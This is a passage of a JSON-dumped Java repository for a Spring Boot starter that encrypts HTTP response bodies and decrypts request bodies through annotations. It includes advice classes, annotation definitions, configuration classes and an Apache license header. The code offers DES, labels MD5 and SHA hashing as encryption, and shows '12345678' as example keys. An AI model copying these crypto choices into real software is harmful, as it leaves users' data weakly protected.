    "content": "package io.github.wujun728.encryptbody.advice;\n\nimport cn.hutool.crypto.SecureUtil;\nimport cn.hutool.crypto.asymmetric.RSA;\nimport io.github.wujun728.encryptbody.bean.EncryptAnnotationInfoBean;\nimport io.github.wujun728.encryptbody.config.EncryptBodyConfig;\nimport io.github.wujun728.encryptbody.enums.EncryptBodyMethod;\nimport io.github.wujun728.encryptbody.enums.SHAEncryptType;\nimport io.github.wujun728.encryptbody.exception.EncryptBodyFailException;\nimport io.github.wujun728.encryptbody.exception.EncryptMethodNotFoundException;\nimport io.github.wujun728.encryptbody.util.CommonUtils;\nimport io.github.wujun728.encryptbody.util.ShaEncryptUtil;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport io.github.wujun728.encryptbody.annotation.encrypt.*;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.MethodParameter;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.http.server.ServerHttpRequest;\nimport org.springframework.http.server.ServerHttpResponse;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;\n\nimport java.lang.annotation.Annotation;\nimport java.lang.reflect.Method;\n\n\n/**\n * 响应数据的加密处理<br>\n * 本类只对控制器参数中含有<strong>{@link org.springframework.web.bind.annotation.ResponseBody}</strong>\n * 或者控制类上含有<strong>{@link org.springframework.web.bind.annotation.RestController}</strong>\n * 以及package为<strong><code>cn.licoy.encryptbody.annotation.encrypt</code></strong>下的注解有效\n *\n * @author licoy.cn\n * @version 2018/9/4\n * @see ResponseBodyAdvice\n */\n@Order(1)\n@ControllerAdvice\n@Slf4j\npublic class EncryptResponseBodyAdvice implements ResponseBodyAdvice<Object> {\n\n    private final ObjectMapper objectMapper;\n\n    private final EncryptBodyConfig config;\n\n    @Autowired\n    public EncryptResponseBodyAdvice(ObjectMapper objectMapper, EncryptBodyConfig config) {\n        this.objectMapper = objectMapper;\n        this.config = config;\n    }\n\n\n    @Override\n    public boolean supports(MethodParameter returnType, Class converterType) {\n        Annotation[] annotations = returnType.getDeclaringClass().getAnnotations();\n        if (annotations.length > 0) {\n            for (Annotation annotation : annotations) {\n                if (annotation instanceof EncryptBody ||\n                        annotation instanceof AESEncryptBody ||\n                        annotation instanceof DESEncryptBody ||\n                        annotation instanceof RSAEncryptBody ||\n                        annotation instanceof MD5EncryptBody ||\n                        annotation instanceof SHAEncryptBody) {\n                    return true;\n                }\n            }\n        }\n        Method method = returnType.getMethod();\n        if (method != null) {\n            return method.isAnnotationPresent(EncryptBody.class) ||\n                    method.isAnnotationPresent(AESEncryptBody.class) ||\n                    method.isAnnotationPresent(DESEncryptBody.class) ||\n                    method.isAnnotationPresent(RSAEncryptBody.class) ||\n                    method.isAnnotationPresent(MD5EncryptBody.class) ||\n                    method.isAnnotationPresent(SHAEncryptBody.class);\n        }\n        return false;\n    }\n\n    @Override\n    public String beforeBodyWrite(Object body, MethodParameter returnType, MediaType selectedContentType,\n                                  Class<? extends HttpMessageConverter<?>> selectedConverterType,\n                                  ServerHttpRequest request, ServerHttpResponse response) {\n        if (body == null) {\n            return null;\n        }\n        String str;\n        if (body instanceof String || body instanceof Number || body instanceof Boolean) {\n            str = String.valueOf(body);\n        } else {\n            try {\n                str = objectMapper.writeValueAsString(body);\n            } catch (JsonProcessingException e) {\n                e.printStackTrace();\n                throw new EncryptBodyFailException(e.getMessage());\n            }\n        }\n        response.getHeaders().setContentType(MediaType.TEXT_PLAIN);\n        EncryptAnnotationInfoBean classAnnotation = getClassAnnotation(returnType.getDeclaringClass());\n        if (classAnnotation != null) {\n            return switchEncrypt(str, classAnnotation);\n        }\n        EncryptAnnotationInfoBean methodAnnotation = getMethodAnnotation(returnType);\n        if (methodAnnotation != null) {\n            return switchEncrypt(str, methodAnnotation);\n        }\n        throw new EncryptBodyFailException();\n    }\n\n    /**\n     * 获取方法控制器上的加密注解信息\n     *\n     * @param methodParameter 控制器方法\n     * @return 加密注解信息\n     */\n    private EncryptAnnotationInfoBean getMethodAnnotation(MethodParameter methodParameter) {\n        Method method = methodParameter.getMethod();\n        if (method == null) {\n            return null;\n        }\n        if (method.isAnnotationPresent(EncryptBody.class)) {\n            EncryptBody encryptBody = methodParameter.getMethodAnnotation(EncryptBody.class);\n            if (encryptBody != null) {\n                return EncryptAnnotationInfoBean.builder()\n                        .encryptBodyMethod(encryptBody.value())\n                        .key(encryptBody.otherKey())\n                        .shaEncryptType(encryptBody.shaType())\n                        .build();\n            }\n        }\n        if (method.isAnnotationPresent(MD5EncryptBody.class)) {\n            return EncryptAnnotationInfoBean.builder()\n                    .encryptBodyMethod(EncryptBodyMethod.MD5)\n                    .build();\n        }\n        if (method.isAnnotationPresent(SHAEncryptBody.class)) {\n            SHAEncryptBody encryptBody = methodParameter.getMethodAnnotation(SHAEncryptBody.class);\n            if (encryptBody != null) {\n                return EncryptAnnotationInfoBean.builder()\n                        .encryptBodyMethod(EncryptBodyMethod.SHA)\n                        .shaEncryptType(encryptBody.value())\n                        .build();\n            }\n        }\n        if (method.isAnnotationPresent(DESEncryptBody.class)) {\n            DESEncryptBody encryptBody = methodParameter.getMethodAnnotation(DESEncryptBody.class);\n            if (encryptBody != null) {\n                return EncryptAnnotationInfoBean.builder()\n                        .encryptBodyMethod(EncryptBodyMethod.DES)\n                        .key(encryptBody.key())\n                        .build();\n            }\n\n        }\n        if (method.isAnnotationPresent(AESEncryptBody.class)) {\n            AESEncryptBody encryptBody = methodParameter.getMethodAnnotation(AESEncryptBody.class);\n            if (encryptBody != null) {\n                return EncryptAnnotationInfoBean.builder()\n                        .encryptBodyMethod(EncryptBodyMethod.AES)\n                        .key(encryptBody.key())\n                        .build();\n            }\n        }\n        if (method.isAnnotationPresent(RSAEncryptBody.class)) {\n            RSAEncryptBody encryptBody = methodParameter.getMethodAnnotation(RSAEncryptBody.class);\n            if (encryptBody != null) {\n                return EncryptAnnotationInfoBean.builder()\n                        .encryptBodyMethod(EncryptBodyMethod.RSA)\n                        .key(encryptBody.key())\n                        .rsaKeyType(encryptBody.type())\n                        .build();\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 获取类控制器上的加密注解信息\n     *\n     * @param clazz 控制器类\n     * @return 加密注解信息\n     */\n    private EncryptAnnotationInfoBean getClassAnnotation(Class<?> clazz) {\n        Annotation[] annotations = clazz.getDeclaredAnnotations();\n        if (annotations.length > 0) {\n            for (Annotation annotation : annotations) {\n                if (annotation instanceof EncryptBody) {\n                    EncryptBody encryptBody = (EncryptBody) annotation;\n                    return EncryptAnnotationInfoBean.builder()\n                            .encryptBodyMethod(encryptBody.value())\n                            .key(encryptBody.otherKey())\n                            .shaEncryptType(encryptBody.shaType())\n                            .build();\n                }\n                if (annotation instanceof MD5EncryptBody) {\n                    return EncryptAnnotationInfoBean.builder()\n                            .encryptBodyMethod(EncryptBodyMethod.MD5)\n                            .build();\n                }\n                if (annotation instanceof SHAEncryptBody) {\n                    return EncryptAnnotationInfoBean.builder()\n                            .encryptBodyMethod(EncryptBodyMethod.SHA)\n                            .shaEncryptType(((SHAEncryptBody) annotation).value())\n                            .build();\n                }\n                if (annotation instanceof DESEncryptBody) {\n                    return EncryptAnnotationInfoBean.builder()\n                            .encryptBodyMethod(EncryptBodyMethod.DES)\n                            .key(((DESEncryptBody) annotation).key())\n                            .build();\n                }\n                if (annotation instanceof AESEncryptBody) {\n                    return EncryptAnnotationInfoBean.builder()\n                            .encryptBodyMethod(EncryptBodyMethod.AES)\n                            .key(((AESEncryptBody) annotation).key())\n                            .build();\n                }\n            }\n        }\n        return null;\n    }\n\n\n    /**\n     * 选择加密方式并进行加密\n     *\n     * @param formatStringBody 目标加密字符串\n     * @param infoBean         加密信息\n     * @return 加密结果\n     */\n    private String switchEncrypt(String formatStringBody, EncryptAnnotationInfoBean infoBean) {\n        EncryptBodyMethod method = infoBean.getEncryptBodyMethod();\n        if (method == null) {\n            throw new EncryptMethodNotFoundException();\n        }\n        if (method == EncryptBodyMethod.MD5) {\n            return SecureUtil.md5().digestHex(formatStringBody);\n        }\n        if (method == EncryptBodyMethod.SHA) {\n            SHAEncryptType shaEncryptType = infoBean.getShaEncryptType();\n            if (shaEncryptType == null) {\n                shaEncryptType = SHAEncryptType.SHA256;\n            }\n            return ShaEncryptUtil.encrypt(formatStringBody, shaEncryptType);\n        }\n        String key = infoBean.getKey();\n        if (method == EncryptBodyMethod.DES) {\n            key = CommonUtils.checkAndGetKey(config.getDesKey(), key, \"DES-KEY\");\n            return SecureUtil.des(key.getBytes()).encryptHex(formatStringBody);\n        }\n        if (method == EncryptBodyMethod.AES) {\n            key = CommonUtils.checkAndGetKey(config.getAesKey(), key, \"AES-KEY\");\n            return SecureUtil.aes(key.getBytes()).encryptHex(formatStringBody);\n        }\n        if (method == EncryptBodyMethod.RSA) {\n            RSA rsa = CommonUtils.infoBeanToRsaInstance(infoBean);\n            return rsa.encryptHex(formatStringBody, infoBean.getRsaKeyType().toolType);\n        }\n        throw new EncryptBodyFailException();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/EnableEncryptBody.java",
    "content": "/*\n                                   Apache License\n                             Version 2.0, January 2004\n                          http://www.apache.org/licenses/\n\n     TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n     1. Definitions.\n\n        \"License\" shall mean the terms and conditions for use, reproduction,\n        and distribution as defined by Sections 1 through 9 of this document.\n\n        \"Licensor\" shall mean the copyright owner or entity authorized by\n        the copyright owner that is granting the License.\n\n        \"Legal Entity\" shall mean the union of the acting entity and all\n        other entities that control, are controlled by, or are under common\n        control with that entity. For the purposes of this definition,\n        \"control\" means (i) the power, direct or indirect, to cause the\n        direction or management of such entity, whether by contract or\n        otherwise, or (ii) ownership of fifty percent (50%) or more of the\n        outstanding shares, or (iii) beneficial ownership of such entity.\n\n        \"You\" (or \"Your\") shall mean an individual or Legal Entity\n        exercising permissions granted by this License.\n\n        \"Source\" form shall mean the preferred form for making modifications,\n        including but not limited to software source code, documentation\n        source, and configuration files.\n\n        \"Object\" form shall mean any form resulting from mechanical\n        transformation or translation of a Source form, including but\n        not limited to compiled object code, generated documentation,\n        and conversions to other media types.\n\n        \"Work\" shall mean the work of authorship, whether in Source or\n        Object form, made available under the License, as indicated by a\n        copyright notice that is included in or attached to the work\n        (an example is provided in the Appendix below).\n\n        \"Derivative Works\" shall mean any work, whether in Source or Object\n        form, that is based on (or derived from) the Work and for which the\n        editorial revisions, annotations, elaborations, or other modifications\n        represent, as a whole, an original work of authorship. For the purposes\n        of this License, Derivative Works shall not include works that remain\n        separable from, or merely link (or bind by name) to the interfaces of,\n        the Work and Derivative Works thereof.\n\n        \"Contribution\" shall mean any work of authorship, including\n        the original version of the Work and any modifications or additions\n        to that Work or Derivative Works thereof, that is intentionally\n        submitted to Licensor for inclusion in the Work by the copyright owner\n        or by an individual or Legal Entity authorized to submit on behalf of\n        the copyright owner. For the purposes of this definition, \"submitted\"\n        means any form of electronic, verbal, or written communication sent\n        to the Licensor or its representatives, including but not limited to\n        communication on electronic mailing lists, source code control systems,\n        and issue tracking systems that are managed by, or on behalf of, the\n        Licensor for the purpose of discussing and improving the Work, but\n        excluding communication that is conspicuously marked or otherwise\n        designated in writing by the copyright owner as \"Not a Contribution.\"\n\n        \"Contributor\" shall mean Licensor and any individual or Legal Entity\n        on behalf of whom a Contribution has been received by Licensor and\n        subsequently incorporated within the Work.\n\n     2. Grant of Copyright License. Subject to the terms and conditions of\n        this License, each Contributor hereby grants to You a perpetual,\n        worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n        copyright license to reproduce, prepare Derivative Works of,\n        publicly display, publicly perform, sublicense, and distribute the\n        Work and such Derivative Works in Source or Object form.\n\n     3. Grant of Patent License. Subject to the terms and conditions of\n        this License, each Contributor hereby grants to You a perpetual,\n        worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n        (except as stated in this section) patent license to make, have made,\n        use, offer to sell, sell, import, and otherwise transfer the Work,\n        where such license applies only to those patent claims licensable\n        by such Contributor that are necessarily infringed by their\n        Contribution(s) alone or by combination of their Contribution(s)\n        with the Work to which such Contribution(s) was submitted. If You\n        institute patent litigation against any entity (including a\n        cross-claim or counterclaim in a lawsuit) alleging that the Work\n        or a Contribution incorporated within the Work constitutes direct\n        or contributory patent infringement, then any patent licenses\n        granted to You under this License for that Work shall terminate\n        as of the date such litigation is filed.\n\n     4. Redistribution. You may reproduce and distribute copies of the\n        Work or Derivative Works thereof in any medium, with or without\n        modifications, and in Source or Object form, provided that You\n        meet the following conditions:\n\n        (a) You must give any other recipients of the Work or\n            Derivative Works a copy of this License; and\n\n        (b) You must cause any modified files to carry prominent notices\n            stating that You changed the files; and\n\n        (c) You must retain, in the Source form of any Derivative Works\n            that You distribute, all copyright, patent, trademark, and\n            attribution notices from the Source form of the Work,\n            excluding those notices that do not pertain to any part of\n            the Derivative Works; and\n\n        (d) If the Work includes a \"NOTICE\" text file as part of its\n            distribution, then any Derivative Works that You distribute must\n            include a readable copy of the attribution notices contained\n            within such NOTICE file, excluding those notices that do not\n            pertain to any part of the Derivative Works, in at least one\n            of the following places: within a NOTICE text file distributed\n            as part of the Derivative Works; within the Source form or\n            documentation, if provided along with the Derivative Works; or,\n            within a display generated by the Derivative Works, if and\n            wherever such third-party notices normally appear. The contents\n            of the NOTICE file are for informational purposes only and\n            do not modify the License. You may add Your own attribution\n            notices within Derivative Works that You distribute, alongside\n            or as an addendum to the NOTICE text from the Work, provided\n            that such additional attribution notices cannot be construed\n            as modifying the License.\n\n        You may add Your own copyright statement to Your modifications and\n        may provide additional or different license terms and conditions\n        for use, reproduction, or distribution of Your modifications, or\n        for any such Derivative Works as a whole, provided Your use,\n        reproduction, and distribution of the Work otherwise complies with\n        the conditions stated in this License.\n\n     5. Submission of Contributions. Unless You explicitly state otherwise,\n        any Contribution intentionally submitted for inclusion in the Work\n        by You to the Licensor shall be under the terms and conditions of\n        this License, without any additional terms or conditions.\n        Notwithstanding the above, nothing herein shall supersede or modify\n        the terms of any separate license agreement you may have executed\n        with Licensor regarding such Contributions.\n\n     6. Trademarks. This License does not grant permission to use the trade\n        names, trademarks, service marks, or product names of the Licensor,\n        except as required for reasonable and customary use in describing the\n        origin of the Work and reproducing the content of the NOTICE file.\n\n     7. Disclaimer of Warranty. Unless required by applicable law or\n        agreed to in writing, Licensor provides the Work (and each\n        Contributor provides its Contributions) on an \"AS IS\" BASIS,\n        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n        implied, including, without limitation, any warranties or conditions\n        of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n        PARTICULAR PURPOSE. You are solely responsible for determining the\n        appropriateness of using or redistributing the Work and assume any\n        risks associated with Your exercise of permissions under this License.\n\n     8. Limitation of Liability. In no event and under no legal theory,\n        whether in tort (including negligence), contract, or otherwise,\n        unless required by applicable law (such as deliberate and grossly\n        negligent acts) or agreed to in writing, shall any Contributor be\n        liable to You for damages, including any direct, indirect, special,\n        incidental, or consequential damages of any character arising as a\n        result of this License or out of the use or inability to use the\n        Work (including but not limited to damages for loss of goodwill,\n        work stoppage, computer failure or malfunction, or any and all\n        other commercial damages or losses), even if such Contributor\n        has been advised of the possibility of such damages.\n\n     9. Accepting Warranty or Additional Liability. While redistributing\n        the Work or Derivative Works thereof, You may choose to offer,\n        and charge a fee for, acceptance of support, warranty, indemnity,\n        or other liability obligations and/or rights consistent with this\n        License. However, in accepting such obligations, You may act only\n        on Your own behalf and on Your sole responsibility, not on behalf\n        of any other Contributor, and only if You agree to indemnify,\n        defend, and hold each Contributor harmless for any liability\n        incurred by, or claims asserted against, such Contributor by reason\n        of your accepting any such warranty or additional liability.\n\n     END OF TERMS AND CONDITIONS\n\n     APPENDIX: How to apply the Apache License to your work.\n\n        To apply the Apache License to your work, attach the following\n        boilerplate notice, with the fields enclosed by brackets \"[]\"\n        replaced with your own identifying information. (Don't include\n        the brackets!)  The text should be enclosed in the appropriate\n        comment syntax for the file format. We also recommend that a\n        file or class name and description of purpose be included on the\n        same \"printed page\" as the copyright notice for easier\n        identification within third-party archives.\n\n     Copyright [yyyy] [name of copyright owner]\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n */\npackage io.github.wujun728.encryptbody.annotation;\n\nimport io.github.wujun728.encryptbody.advice.DecryptRequestBodyAdvice;\nimport io.github.wujun728.encryptbody.advice.EncryptResponseBodyAdvice;\nimport io.github.wujun728.encryptbody.config.EncryptBodyConfig;\nimport io.github.wujun728.encryptbody.config.HttpConverterConfig;\nimport org.springframework.context.annotation.Import;\n\nimport java.lang.annotation.*;\n\n/**\n * <p>启动类</p>\n * <p>使用方法：在SpringBoot的Application启动类上添加此注解即可</p>\n * <p>更多使用信息请参考：<a href='https://github.com/Licoy/encrypt-body-spring-boot-starter/blob/master/README.md'>README</a></p>\n *\n * @author licoy.cn\n * @version 2018/9/6\n */\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\n@Import({EncryptBodyConfig.class,\n        HttpConverterConfig.class,\n        EncryptResponseBodyAdvice.class,\n        DecryptRequestBodyAdvice.class,})\npublic @interface EnableEncryptBody {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/decrypt/AESDecryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.decrypt;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/7\n * @see DecryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface AESDecryptBody {\n\n    String key() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/decrypt/DESDecryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.decrypt;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/7\n * @see DecryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface DESDecryptBody {\n\n    String key() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/decrypt/DecryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.decrypt;\n\nimport io.github.wujun728.encryptbody.enums.DecryptBodyMethod;\n\nimport java.lang.annotation.*;\n\n/**\n * <p>解密含有{@link org.springframework.web.bind.annotation.RequestBody}注解的参数请求数据，可用于整个控制类或者某个控制器上</p>\n * @author licoy.cn\n * @version 2018/9/7\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface DecryptBody {\n\n    DecryptBodyMethod value() default DecryptBodyMethod.AES;\n\n    String otherKey() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/decrypt/RSADecryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.decrypt;\n\nimport io.github.wujun728.encryptbody.enums.RSAKeyType;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/7\n * @see DecryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RSADecryptBody {\n\n    /**\n     * 自定义私钥\n     *\n     * @return 私钥\n     */\n    String key() default \"\";\n\n    /**\n     * 类型\n     *\n     * @return 公钥\n     */\n    RSAKeyType type() default RSAKeyType.PUBLIC;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/AESEncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/4\n * @see EncryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface AESEncryptBody {\n\n    String key() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/DESEncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/4\n * @see EncryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface DESEncryptBody {\n\n    String key() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/EncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\n\nimport io.github.wujun728.encryptbody.enums.EncryptBodyMethod;\nimport io.github.wujun728.encryptbody.enums.SHAEncryptType;\n\nimport java.lang.annotation.*;\n\n/**\n * <p>加密{@link org.springframework.web.bind.annotation.ResponseBody}响应数据，可用于整个控制类或者某个控制器上</p>\n * @author licoy.cn\n * @version 2018/9/4\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface EncryptBody {\n\n    EncryptBodyMethod value() default EncryptBodyMethod.MD5;\n\n    String otherKey() default \"\";\n\n    SHAEncryptType shaType() default SHAEncryptType.SHA256;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/MD5EncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/4\n * @see EncryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface MD5EncryptBody {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/RSAEncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\nimport io.github.wujun728.encryptbody.enums.RSAKeyType;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/4\n * @see EncryptBody\n */\n@Target(value = {ElementType.METHOD, ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface RSAEncryptBody {\n\n    /**\n     * 自定义私钥\n     *\n     * @return 私钥\n     */\n    String key() default \"\";\n\n    /**\n     * 类型\n     *\n     * @return 公钥\n     */\n    RSAKeyType type() default RSAKeyType.PUBLIC;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/annotation/encrypt/SHAEncryptBody.java",
    "content": "package io.github.wujun728.encryptbody.annotation.encrypt;\n\nimport io.github.wujun728.encryptbody.enums.SHAEncryptType;\n\nimport java.lang.annotation.*;\n\n/**\n * @author licoy.cn\n * @version 2018/9/4\n * @see EncryptBody\n */\n@Target(value = {ElementType.METHOD,ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface SHAEncryptBody {\n\n    SHAEncryptType value() default SHAEncryptType.SHA256;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/bean/DecryptAnnotationInfoBean.java",
    "content": "package io.github.wujun728.encryptbody.bean;\n\nimport io.github.wujun728.encryptbody.enums.DecryptBodyMethod;\nimport io.github.wujun728.encryptbody.enums.RSAKeyType;\nimport lombok.*;\n\n/**\n * <p>解密注解信息</p>\n * @author licoy.cn\n * @version 2018/9/6\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class DecryptAnnotationInfoBean implements ISecurityInfo {\n\n    private DecryptBodyMethod decryptBodyMethod;\n\n    private String key;\n\n    private RSAKeyType rsaKeyType;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/bean/DecryptHttpInputMessage.java",
    "content": "package io.github.wujun728.encryptbody.bean;\n\nimport lombok.AllArgsConstructor;\nimport lombok.NoArgsConstructor;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpInputMessage;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * <p>解密信息输入流</p>\n * @author licoy.cn\n * @version 2018/9/7\n */\n@NoArgsConstructor\n@AllArgsConstructor\npublic class DecryptHttpInputMessage implements HttpInputMessage {\n\n    private InputStream body;\n\n    private HttpHeaders headers;\n\n    @Override\n    public InputStream getBody() throws IOException {\n        return body;\n    }\n\n    @Override\n    public HttpHeaders getHeaders() {\n        return headers;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/bean/EncryptAnnotationInfoBean.java",
    "content": "package io.github.wujun728.encryptbody.bean;\n\nimport io.github.wujun728.encryptbody.enums.EncryptBodyMethod;\nimport io.github.wujun728.encryptbody.enums.RSAKeyType;\nimport io.github.wujun728.encryptbody.enums.SHAEncryptType;\nimport lombok.*;\n\n/**\n * <p>加密注解信息</p>\n *\n * @author licoy.cn\n * @version 2018/9/6\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class EncryptAnnotationInfoBean implements ISecurityInfo {\n\n    private EncryptBodyMethod encryptBodyMethod;\n\n    private SHAEncryptType shaEncryptType;\n\n    private String key;\n\n    private RSAKeyType rsaKeyType;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/bean/ISecurityInfo.java",
    "content": "package io.github.wujun728.encryptbody.bean;\n\nimport io.github.wujun728.encryptbody.enums.RSAKeyType;\n\nimport java.io.Serializable;\n\n/**\n * 安全信息实体\n *\n * @author Licoy\n * @date 2022/3/29\n */\npublic interface ISecurityInfo extends Serializable {\n\n    /**\n     * 获取key\n     *\n     * @return key\n     */\n    String getKey();\n\n    /**\n     * 获取rsa的密钥类型\n     *\n     * @return 密钥类型\n     */\n    RSAKeyType getRsaKeyType();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/config/EncryptBodyConfig.java",
    "content": "package io.github.wujun728.encryptbody.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * <p>加密数据配置读取类</p>\n * <p>在SpringBoot项目中的application.yml中添加配置信息即可</p>\n * <pre>\n *     encrypt:\n *      body:\n *       aes-key: 12345678 # AES加密秘钥\n *       des-key: 12345678 # DES加密秘钥\n * </pre>\n *\n * @author licoy.cn\n * @version 2018/9/6\n */\n@ConfigurationProperties(prefix = \"encrypt.body\")\n@Configuration\n@Data\npublic class EncryptBodyConfig {\n\n    private String aesKey;\n\n    private String desKey;\n\n    private Charset encoding = StandardCharsets.UTF_8;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/config/HttpConverterConfig.java",
    "content": "package io.github.wujun728.encryptbody.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpOutputMessage;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.http.converter.HttpMessageNotWritableException;\nimport org.springframework.http.converter.StringHttpMessageConverter;\nimport org.springframework.http.converter.json.MappingJackson2HttpMessageConverter;\nimport org.springframework.util.StreamUtils;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport java.io.IOException;\nimport java.lang.reflect.Type;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.util.LinkedList;\nimport java.util.List;\n\n/**\n * <p>响应体数据处理，防止数据类型为String时再进行JSON数据转换，那么产生最终的结果可能被双引号包含...</p>\n * @author licoy.cn\n * @version 2018/9/5\n */\n@Configuration\npublic class HttpConverterConfig implements WebMvcConfigurer {\n\n    public MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter(){\n        return new MappingJackson2HttpMessageConverter(){\n            @Override\n            protected void writeInternal(Object object, Type type, HttpOutputMessage outputMessage) throws IOException, HttpMessageNotWritableException {\n                if(object instanceof String){\n                    